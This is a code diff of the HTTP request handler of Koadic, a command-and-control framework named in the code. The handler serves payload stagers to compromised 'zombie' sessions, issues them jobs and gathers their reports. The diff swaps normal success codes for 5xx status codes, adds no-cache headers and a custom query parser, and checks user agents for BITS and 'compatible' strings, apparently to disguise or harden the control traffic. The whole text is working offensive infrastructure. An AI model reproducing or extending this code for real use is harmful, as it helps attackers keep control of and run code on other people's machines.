0 | 0 |
from socketserver import ThreadingMixIn
|
1 | 1 |
from http.server import BaseHTTPRequestHandler, HTTPServer
|
2 | |
from urllib.parse import parse_qs
|
|
2 |
#from urllib.parse import parse_qs
|
3 | 3 |
|
4 | 4 |
import cgi
|
5 | 5 |
import socket
|
|
27 | 27 |
for key, value in headers.items():
|
28 | 28 |
self.send_header(key, value)
|
29 | 29 |
|
|
30 |
self.send_header('Cache-Control', 'no-store, max-age=0')
|
|
31 |
self.send_header('If-Modified-Since', '0')
|
|
32 |
|
30 | 33 |
self.end_headers()
|
31 | 34 |
|
32 | 35 |
# python is so utterly incapable that we have to write CS 101 socket
|
|
50 | 53 |
headers = {}
|
51 | 54 |
headers['Content-Type'] = 'application/octet-stream'
|
52 | 55 |
headers['Content-Length'] = len(fdata)
|
53 | |
self.reply(200, fdata, headers)
|
|
56 |
self.reply(500, fdata, headers)
|
54 | 57 |
|
55 | 58 |
def get_header(self, header, default=None):
|
56 | 59 |
if header in self.headers:
|
|
106 | 109 |
|
107 | 110 |
def find_stager(self, splitted):
|
108 | 111 |
self.endpoint = splitted[0].split("/")[1].split(".")[0]
|
|
112 |
self.shell.print_verbose(f"handler::find_stager() - endpoint identified = {self.endpoint}")
|
109 | 113 |
|
110 | 114 |
if self.endpoint not in self.shell.stagers[self.port]:
|
|
115 |
self.shell.print_verbose(f"handler::find_stager() - could not find a listener on port {self.port} for this endpoint")
|
111 | 116 |
return False
|
112 | 117 |
|
113 | 118 |
self.stager = self.shell.stagers[self.port][self.endpoint]
|
114 | 119 |
self.options = copy.deepcopy(self.stager.options)
|
115 | 120 |
return True
|
116 | 121 |
|
|
122 |
def parse_qs(self, qs):
|
|
123 |
params = {}
|
|
124 |
if len(qs) < 2:
|
|
125 |
return params
|
|
126 |
for p in qs[1].split(';'):
|
|
127 |
if not p:
|
|
128 |
continue
|
|
129 |
pp = p.split('=', 1)
|
|
130 |
if len(pp) != 2:
|
|
131 |
continue
|
|
132 |
pk = pp[0]
|
|
133 |
pv = pp[1]
|
|
134 |
if len(pv):
|
|
135 |
params[pk] = [pv]
|
|
136 |
return params
|
|
137 |
|
117 | 138 |
def parse_params(self):
|
|
139 |
self.shell.print_verbose(f"handler::parse_params() - path = {self.path}")
|
118 | 140 |
splitted = self.path.split("?")
|
119 | 141 |
if not self.find_stager(splitted):
|
120 | 142 |
return False
|
121 | |
self.get_params = parse_qs(splitted[1]) if len(splitted) > 1 else {}
|
|
143 |
#self.get_params = parse_qs(splitted[1]) if len(splitted) > 1 else {}
|
|
144 |
self.get_params = self.parse_qs(splitted)
|
122 | 145 |
|
123 | 146 |
sessionname = self.options.get("SESSIONNAME")
|
124 | 147 |
|
|
149 | 172 |
|
150 | 173 |
elif self.shell.continuesession:
|
151 | 174 |
self.session = self.shell.continuesession
|
|
175 |
|
|
176 |
if self.headers['user-agent']:
|
|
177 |
self.shell.print_verbose(f"handler::parse_params() - user_agent = {self.headers['user-agent']}")
|
|
178 |
if 'compatible' not in self.headers['user-agent'] and 'Microsoft BITS' not in self.headers['user-agent']:
|
|
179 |
self.shell.print_warning("Are you running this payload from a browser? Koadic payloads are not meant to be launched from a browser. If a zombie isn't staging and you're seeing this warning, please don't post a ticket on Github. Run the FULL payload as a command.")
|
152 | 180 |
|
153 | 181 |
if self.headers['host']:
|
154 | 182 |
self.shell.print_verbose(f"handler::parse_params() - Host header present: {self.headers['host']}")
|
|
239 | 267 |
for o in old_options.options:
|
240 | 268 |
plugin.options.set(o.name, o.value)
|
241 | 269 |
|
242 | |
return self.reply(200)
|
|
270 |
return self.reply(500)
|
243 | 271 |
|
244 | 272 |
|
245 | 273 |
return self.handle_report()
|
|
251 | 279 |
self.options.set("JOBKEY", "stage")
|
252 | 280 |
template = self.options.get("_FORKTEMPLATE_")
|
253 | 281 |
data = self.linter.post_process_script(self.options.get("_STAGE_"), template, self.options, self.session)
|
254 | |
self.reply(200, data)
|
|
282 |
self.reply(500, data)
|
255 | 283 |
|
256 | 284 |
def handle_oneshot(self):
|
257 | 285 |
plugin = self.shell.plugins[self.options.get("MODULE")]
|
|
263 | 291 |
template = self.options.get("_STAGETEMPLATE_")
|
264 | 292 |
script = self.linter.post_process_script(script, template, self.options, self.session)
|
265 | 293 |
|
266 | |
self.reply(200, script)
|
|
294 |
self.reply(500, script)
|
267 | 295 |
return
|
268 | 296 |
|
269 | 297 |
j.ip = str(self.client_address[0])
|
|
275 | 303 |
template = self.options.get("_STAGETEMPLATE_")
|
276 | 304 |
script = self.linter.post_process_script(script, template, self.options, self.session)
|
277 | 305 |
|
278 | |
self.reply(200, script)
|
|
306 |
self.reply(500, script)
|
279 | 307 |
|
280 | 308 |
def handle_new_session(self):
|
281 | 309 |
self.shell.print_verbose("handler::handle_new_session()")
|
282 | 310 |
self.init_session()
|
283 | 311 |
template = self.options.get("_STAGETEMPLATE_")
|
284 | 312 |
data = self.linter.post_process_script(self.options.get("_STAGE_"), template, self.options, self.session)
|
285 | |
self.reply(200, data)
|
|
313 |
self.reply(500, data)
|
286 | 314 |
|
287 | 315 |
def handle_dont_stage(self):
|
288 | 316 |
self.shell.print_verbose("handler::handle_dont_stage()")
|
289 | 317 |
template = self.options.get("_STAGETEMPLATE_")
|
290 | 318 |
data = self.linter.post_process_script(b"Koadic.exit();", template, self.options, self.session)
|
291 | |
self.reply(200, data)
|
|
319 |
self.reply(500, data)
|
292 | 320 |
|
293 | 321 |
def handle_bitsadmin_stage(self):
|
294 | 322 |
rangeheader = self.get_header('range')
|
|
313 | 341 |
script = self.job.payload()
|
314 | 342 |
template = self.options.get("_FORKTEMPLATE_")
|
315 | 343 |
script = self.linter.post_process_script(script, template, self.options, self.session)
|
316 | |
self.reply(200, script)
|
|
344 |
self.reply(500, script)
|
317 | 345 |
|
318 | 346 |
def handle_work(self):
|
319 | 347 |
count = 0
|
320 | 348 |
while True:
|
321 | 349 |
if self.session.killed:
|
322 | |
return self.reply(500, "");
|
|
350 |
return self.reply(599, "");
|
323 | 351 |
|
324 | 352 |
job = self.session.get_created_job()
|
325 | 353 |
if job is not None:
|
|
334 | 362 |
self.session.update_active()
|
335 | 363 |
count += 1
|
336 | 364 |
if count > 600:
|
337 | |
self.reply(201, "")
|
|
365 |
self.reply(501, "")
|
338 | 366 |
return
|
339 | 367 |
|
340 | 368 |
job.receive()
|
341 | 369 |
|
342 | 370 |
# hack to tell us to fork 32 bit
|
343 | |
status = 202 if job.fork32Bit else 201
|
|
371 |
status = 502 if job.fork32Bit else 501
|
344 | 372 |
|
345 | 373 |
self.reply(status, job.key.encode())
|
346 | 374 |
|
|
353 | 381 |
errdesc = self.get_header('errdesc', 'No Description')
|
354 | 382 |
errname = self.get_header('errname', 'Error')
|
355 | 383 |
self.job.error(errno, errdesc, errname, data)
|
356 | |
self.reply(200)
|
|
384 |
self.reply(500)
|
357 | 385 |
return
|
358 | 386 |
|
359 | 387 |
self.job.report(self, data)
|